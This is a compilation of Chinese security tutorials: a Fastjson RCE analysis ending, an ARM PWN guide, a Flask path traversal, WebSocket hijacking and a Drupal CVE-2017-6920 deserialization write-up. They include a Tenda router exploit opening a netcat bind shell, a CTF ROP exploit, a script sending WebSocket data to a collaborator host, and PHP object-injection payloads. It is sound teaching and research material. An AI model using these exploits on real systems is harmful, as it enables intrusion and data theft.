最后还是在函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 中实现了代码执行
如此整个漏洞就分析完成了
漏洞修复
官方提供了以下四种https://github.com/alibaba/fastjson/wiki/security_update_20220523
● 升级到最新版本1.2.83
● safeMode加固
● 升级到fastjson v2
● noneautotype版本
总结反思
整个漏洞的分析花了很多时间,根据参考文章 https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ 来来回回加断点调试了很久。对这个漏洞做一个自己的总结。在默认未开启 AutoType 时,Fastjson 是基于白名单的获取外部类,通过 搜索checkAutoType 发现ThrowableDeserializer#deserialze 中的调用,当然也不止这一处,只是这处能进一步的利用,通过满足类属于 Throwable 的扩展类就可以触发,最后实现代
ARM PWN基础教程
一、前言
在CTF比赛中,我们所能接触到的大部分都是x86 x86_64架构的题目,而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。
二、前置知识
指令集
Intel和ARM之间的区别主要是指令集,Intel采用复杂指令集而ARM则是精简指令集,精简指令集通过减少每条指令的时钟周期来缩短执行时间可以更快的执行指令,但因为指令较少因此在实现功能时会显得比Intel冗长。
寄存器
寄存器是ARM架构的一个重点,在x86架构上指令可以直接对内存的数据进行操作,而在ARM架构中必须将内存的数据放入寄存器中再进行操作。而寄存器的数量取决于ARM的版本,而ARM32架构下共30个寄存器:
R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果
在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中
R7寄存器在函数调用中负责存储系统调用号
R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用
R13寄存器SP(堆栈指针)指向堆栈的顶部
R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数)
R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。
ARM指令
这里引用 eack师傅在ARM基础知识PPT中所列出指令的表格,在有了X86架构的基础后去看下面这些指令还是很好理解的。
指令功能指令功能MOV移动数据EOR按位异或MVN移动数据并取反LDR加载ADD加法STR存储SUB减法LDM加载多个MUL乘法STM存储多个LSL逻辑左移PUSH入栈LSR逻辑右移POP出栈ASR算术右移B跳转ROR右旋BLLink+跳转CMP比较BX分支跳转AND按位与BLXLinx+分支跳转ORR按位或SWI/SVC系统调用
这里需要单独介绍一下LDR和STR两个指令
LDR用于将某些内容从内存加载到寄存器中,例如LDR R2, [R0]从R0寄存器中存储的内存地址的值读入R2寄存器
STR用于将某些内容从寄存器存储到内存地址中,例如STR R2, [R1]从R2寄存器中将值存储到R1寄存器中的内存地址中
三、例题讲解
这里以jarvisoj 的 typo 例题进行讲解,题目可通过下方链接获得
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo 查看题目保护,arm-32-little架构的静态链接文件未开启PIE和Canary保护,存在NX保护无法同时写入shellcode来getshell
amalll@A-M:~/AM$ checksec pwn
[*] '/home/amalll/AM/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
amalll@A-M:~/AM$ file pwn
pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
因为程序去除了符号表的关系,我们可以使用rizzo插件来恢复符号表,可以从程序中发现system和/bin/sh等关键信息地址,同时在跟随程序流程注意到一处很明显的栈溢出漏洞,getshell所需的条件都满足了。
这边的利用思路就是通过栈溢出漏洞覆盖程序的返回地址,在ARM架构下是覆盖要POP给PC寄存器的地址值,覆盖为一段可以同时控制R0和PC寄存器的GADGET,因为在ARM架构下函数约定R0寄存器作为函数的第一个参数存储,所以我们可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函数的地址,即可GetShell。
+-------------+
| "a" * 112 |
+-------------+
| pop_gadget | <- return address
+-------------+
| /bin/sh |
+-------------+
| 0 |
+-------------+
| system_addr |
+-------------+
思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序
qemu-arm-static -g 1234 -L . ./pwn
然后启动gdb-multiarch,执行远程连接命令即可开始动调,后面的操作方式和x86架构的相同,使用cyclic生成过长字符然后通过溢出覆盖字符串确定偏移
最后确定偏移为112,这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式,进入Thumb模式后地址的最低位会从1变成0,所以如果通过此方法算出的地址值有错误时,可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换,而此处程序并未发生模式切换,所以最终我们的偏移就是112。
确定了偏移后,还需要一个可以同时可以控制R0和PC的gadget,这里使用ropper在程序中搜索到如下的一段gadget
0x00020904: pop {r0, r4, pc};
EXP
from pwn import *
p = process(['qemu-arm-static',"-L", "./", "./pwn"])
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
sh = 0x006C384
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
p.sendafter("Input ~ if you want to quit", "\n")
p.send(payload)
p.interactive()
四、实战演示
这边以CVE-2022-30476为例进行实战arm栈溢出利用演示,关于固件仿真的部分内容在复现Tenda 2018年的cve漏洞时就有所介绍这边就不过多赘述,这边还是以实际情况的漏洞复现为主。 web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量,从而造成栈溢出漏洞。
我们通过cyclic测得栈溢出偏移为44,这里就涉及到我们刚才所说的Thumb模式切换的问题,实际的溢出偏移应为48。随后我们可以使用vmmap命令查看qemu-user的内存布局,可以得到libc库的基地址。 这边需要特别说明一下,新版本的pwndbg中关于qemu的兼容性较差,所以只能采用旧版本的插件进行内存布局查看。
与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以\x00结尾
凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击
import requests
from pwn import *
url = 'http://192.168.2.1/goform/SetFirewallCfg'
libc = ELF("./lib/libc.so.0")
base = 0xff592000
system = base+libc.sym['system']
pop_r0_pc = base+0x0003db80 # pop {r0, pc};
stack = 0xfffef2c0
pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
pl+= 'nc -lp 8888 -e /bin/sh;\x00'
data = {'firewallEn':pl}
requests.post(url, data=data)
推荐实验:
https://www.yijinglab.com/expc.do?ce=682a3471-bce7-4d12-b9db-b25df36b1246
Flask send_file函数导致的绝对路径遍历
平时接触到的 python 项目并不多,对 python 的代码审计更是没有接触,偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历 ,感觉打开了新世界的大门,于是就以一个初学者的角度,进行复现分析一下。详情也可以根据 https://github.com/github/securitylab/issues/669 进行分析学习
send_file 的妙用
在以 flask 框架开发的系统中,为了直接实现用户访问某一个 URL 时就可以下载到文件,我们就使用 send_file 来实现
from flask import Flask
from flask import send_file
app = Flask(__name__)
@app.route('/download')
def downloadFile():
path = "test.txt"
return send_file(path)
if __name__ == '__main__':
app.run()
我们看到 如此运行的效果是直接返回了文件的内容,浏览器并没有识别成一个文件下载下来。
要想让浏览器识别成为文件下载的话,只需要加上 as_attachment=True
from flask import Flask
from flask import send_file
app = Flask(__name__)
@app.route('/download')
def downloadFile():
path = "test.txt"
return send_file(path, as_attachment=True)
if __name__ == '__main__':
app.run()
当下载的文件名是中文时
from flask import Flask
from flask import send_file
app = Flask(__name__)
@app.route('/download')
def downloadFile():
path = "测试.txt"
return send_file(path, as_attachment=True)
if __name__ == '__main__':
app.run()
Content-Disposition:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition在常规的 HTTP 应答中,Content-Disposition 响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。其可以是inline(默认值,所以可以不指定)或者是attachment,attachment表示附件,浏览器看到这个值一般会弹出一个保持文件的确认框,或者像chrome直接下载。
漏洞分析
漏洞的触发是在 send_file 中,我们跟进看一下
flask.helpers.send_file
继续跟进查看
werkzeug.utils.send_file
我们在本地构造一个简单的语句进行尝试
>>> import os.path
>>> _root_path = "path/to/mySafeStaticDir"
>>> path_or_file = "/../../../../../../../etc/passwd"
>>> os.path.join(_root_path,path_or_file)
'/../../../../../../../etc/passwd'
我们发现 os.path.join 使用不受信任的输入调用时不安全的。当 os.path.join 调用遇到绝对路径时,它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径。当参数可控时,我们控制恶意参数输入绝对路径,os.path.join 会完全忽略静态目录。所以,当 os.path.join 来获取来自 flask.send_file 的不受信任的输入时,可能会目录遍历攻击。
漏洞复现
我们在本地构造简单的代码进行测试,获取从外部传入的参数 filename
from flask import Flask, request
from flask import send_file
app = Flask(__name__)
@app.route('/download')
def downloadFile():
filename = request.args.get('filename')
return send_file(filename, as_attachment=True)
if __name__ == '__main__':
app.run()
通过控制 filename 为绝对路径,就实现了目录穿越漏洞
总结反思
这个漏洞非常的有趣,漏洞的修复是可以使用flask.safe_join加入不受信任的路径或用flask.send_file调用替换flask.send_from_directory调用。
这个漏洞虽然很简单,但是在 github 上很多用 python 开发的项目都用了这个函数,如果不加以修复,会造成很大的危害。
浅析websocket劫持
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
WebSocket劫持漏洞导读
WebSocket协议技术
WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道
websocket是持久化的协议,而http是非持久的
当通信协议从 http://或 https://切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态
WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图
建立WebSocket连接
WebSocket连接通常是使用客户端JavaScript创建的
var ws = new WebSocket("wss://normal-website.com/chat");
//该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。
为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
如果服务器接受连接,则它将返回WebSocket握手响应,如下所示:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。
请求和响应中 的Connection和Upgrade标头表示这是WebSocket握手
WebSocket安全漏洞
原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现
• 传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等
• 通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到
• 如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞
本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH
跨站WebSocket劫持漏洞
什么是跨站WebSocket劫持漏洞
Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞
我们可以看见WebSocket的链接过程与http是极其相似的,WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份,因此,服务器需要采用http客户端认证机制来辨明身份,如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份,与服务器建立WebSocket连接
CSWSH与跨站请求伪造CSRF的漏洞原理极其类似
相较于CSRF漏洞只能发送伪造请求,跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道,且不受同源策略的限制,这在很大意义上都造成了更大的危害和可操作性
跨站WebSocket劫持漏洞可能带来的影响
• 执行伪造成用户的未授权操作
与常规CSRF类似,攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作
• 检索用户可访问的敏感数据
与常规CSRF不同的时,CSWSH是建立一个可双向交互的通道,当客户端向用户发送敏感数据时,攻击者可以将其拦截并记录得到敏感信息
跨站WebSocket劫持漏洞靶场演示
靶机环境
• 靶场
借助于burpsuite练兵场
https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab• 浏览器环境
edge浏览器
靶场解析
• 点击启动靶场
• 观察发现存在实时聊天界面,观察发现没有CSRF的令牌
• 将代码复制到body
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
• wss://your-websocket-url替换成目前url
• https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器
• 可以点击view exploit测试,也可以直接发给攻击方
• 然后在Burp Collaborator Client多poll几下
• 翻看一下得到账号密码
然后我选择再用dnslog验证一遍
确实可以带出数据,执行敏感操作
如何防范跨站WebSocket劫持漏洞
• 校验Origin头
• 双向将WebSocket传输数据视为不可信
• 对WebSocket握手信息进行加密保护
• 硬编码WebSockets终结点的URL
参考文章
• https://portswigger.net/web-security/websockets
• https://zhuanlan.zhihu.com/p/347738547
【漏洞分析】Drupal 远程代码执行(CVE-2017-6920)
前几天在参加 FOFA-攻防挑战赛时,遇到了 Drupal 的盲盒漏洞环境,最终确定漏洞为 CVE-2017-6920 ,但是还是无法 getflag ,因为网上相关参考文章并不是很多,大多都只是简单的复现了,于是就想着对这个漏洞进行一个详细的分析。
漏洞描述
环境搭建
环境的搭建,我们可以选择 p神 的 https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2017-6920 上的环境,我们也可以利用 https://vulfocus.cn/ 的在线环境,或者将镜像拉取下来本地启动。
因为 p 神的环境还需要再进行配置 yaml ,为了方便,我们这里就选择 vulfocus 的镜像来进行复现学习
docker pull vulfocus/drupal-cve_2017_6920:latest
docker ps
访问随机生成的端口 49156 http://127.0.0.1:49156/
漏洞复现
访问登录界面 http://127.0.0.1:49156/user/login
输入账号密码 admin:admin123
登录成功
登陆成功后访问路由 /admin/config/development/configuration/single/import
填写相关参数
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
点击 import 触发漏洞
漏洞分析
漏洞存在于 drupal 8.3.3 所以我们下载 存在漏洞的版本 drupal 8.3.3 和修复的版本 drupal 8.3.4 进行对比,发现漏洞位于
core\lib\Drupal\Component\Serialization\YamlPecl.php
我们看到修改的位置有这么一句 // We never want to unserialize !php/object.
就大概可以推测出是在这个地方,以!php/object 为开头时 会产生反序列化漏洞
为了方便进行调试,所以我们换一下 docker 启动时的命令,方便启动后进行 php 远程调试,在配置调试环境时出现了各种问题,本来是在本地搭建 docker 环境进行调试的,但是一直没有成功,所以就采用在虚拟机中搭建 docker 环境,采用远程调试。
docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest
wget https://xdebug.org/files/xdebug-2.5.5.tgz
docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz
docker exec -it 30 /bin/bash
cd /
tar xvf xdebug-2.5.5.tgz
cd xdebug-2.5.5
phpize
find / -name php-config
`/etc/alternatives/php-config`
`/usr/bin/php-config`
`/var/lib/dpkg/alternatives/php-config`
./configure --enable-xdebug --with-php-config=/usr/bin/php-config
make && make install ==xdebug 被安装到了 /usr/lib/php5/20121212/==
find / -name php.ini
`/etc/php5/cli/php.ini`
`/etc/php5/apache2/php.ini`
vim /etc/php5/apache2/php.ini ==修改 php.ini 文件==
shift + g ==定位到最后一行==
echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
sudo service apache2 restart
修改php.ini配置文件,在文件中追加以下内容
[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug扩展文件的路径
xdebug.remote_enable=1 ;是否开启远程调试
xdebug.remote_handler=dbgp ;指定远程调试的处理协议
xdebug.remote_mode=req ;可以设为req或jit,req表示脚本一开始运行就连接远程客户端,jit表示脚本出错时才连接远程客户端。
xdebug.remote_host=192.168.222.1 ;指定远程调试的主机名(安装phpstorm的主机ip)
xdebug.remote_port=9001 ;指定远程调试的端口号
xdebug.idekey="PHPSTORM" ;指定传递给DBGp调试器处理程序的IDE Key
xdebug.remote_enable=on;
[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;
xdebug.remote_enable=1;
xdebug.remote_handler=dbgp;
xdebug.remote_mode=req;
xdebug.remote_host=192.168.222.1;
xdebug.remote_port=9001;
xdebug.idekey="PHPSTORM";
访问 http://192.168.222.129/phpinfo.php 发现 xdebug 被安装成功
先将代码拷贝出来 docker cp 30:/var/www/html html
利用 PHPSTROM 打开项目代码
File -> Settings -> Languages & Frameworks -> PHP -> Debug
配置 Servers
此处要注意,需要直接指定到网站的目录位置
配置PHP Web Application
配置完成后打开右上角的电话按钮
打开浏览器的插件 Xdebug helper
在 phpinfo 处加载断点,并访问 http://192.168.222.129/phpinfo.php成功加载到断点
之前也配置过 PHP 的远程调试环境,但是在 Docker 里面调试的时候,配置了很久的调试环境,最后才成功,中间出了大大小小无数的问题,遇到的最大的问题是最开始端口一直显示被占用状态,因为我启动 docker 时的命令是 docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest 我一直认为说这个 9001 端口也要对外映射出来,但是我在调试时发现一直提示端口被占用,百思不得其解,采用百度大法看到了这么一句 不要在docker-compose 中添加 9000 端口 ,我灵机一动,将 -p 9001:9
正式开始调试分析
漏洞的最终触发位置是在
core/lib/Drupal/Component/Serialization/YamlPecl.php::decode
对传入的 参数 $raw 如果可控的话,如果使用!php/object,那么yaml_parse将会以反序列化(unserialize)的形式来进行处理字符串。
我们看在哪里可以调用 YamlPecl.php::decode
core/lib/Drupal/Component/Serialization/Yaml.php::decode
decode 函数中 调用了静态 getSerializer 函数
如果存在 yaml 扩展,$serializer 就使用 YamlPecl 类,之后会调用 YamlPecl 类中的 decode 函数;
如果不存在 yaml 扩展,$serializer 就使用 YamlSymfony 类,之后会调用 YamlSymfony 类中的 decode 函数。 目前的环境是已经安装了 yaml 扩展了,所以我们只需要寻找,可控输入的 Yaml::decode
core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm
如此我们就已经确定了漏洞的触发位置,以及漏洞的入口点,但是距离漏洞的利用成功还差一个 payload
我们已经知道这个漏洞是一个反序列化漏洞,我们就要找出这个系统中存在的反序列化链,针对这个漏洞有两条利用链路,任意命令执行以及任意文件写入
任意命令执行
html\vendor\guzzlehttp\psr7\src\FnStream.php
反序列化这个类造成任意无参数函数执行
<?php
namespace GuzzleHttp\Psr7;
class FnStream {
public function __construct(array $methods)
{
$this->methods = $methods;
// Create the functions on the class
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
$fn = new FnStream(array('close'=>'phpinfo'));
echo(serialize($fn))
?>
序列化字符串加上yaml的!php/object
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
任意文件写入
html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php
反序列化这个类达到任意文件写入的效果,但是因为这个系统启动并不是 root 权限启动,所以只有在 tmp 目录下写文件的权限
<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$Limerence = new FileCookieJar('/tmp/shell.txt');
$payload = '1';
$data=array(
'Name' => "Limerence",
'Value' => "Limerence",
'Domain' => $payload,
'Expires' => time()
);
$Limerence->setCookie(new SetCookie($data));
echo(addslashes(serialize($Limerence)));
!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCoo
漏洞修复
根据对比官方对 drupal 8.3.4 的修补,我们得出 针对低于版本 drupal 8.3.4 的代码中 在 core\lib\Drupal\Component\Serialization\YamlPecl.php 的 decode 函数修改为
public static function decode($raw) {
static $init;
if (!isset($init)) {
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
if (!trim($raw)) {
return NULL;
}
set_error_handler([__CLASS__, 'errorHandler']);
$ndocs = 0;
$data = yaml_parse($raw, 0, $ndocs, [
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',
]);
restore_error_handler();
return $data;
}
总结反思
之前也实现过远程调试,但是对 docker 内的系统进行调试还没有做过,不对的试错过程中,也对 docker 进一步加深的认知与了解。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

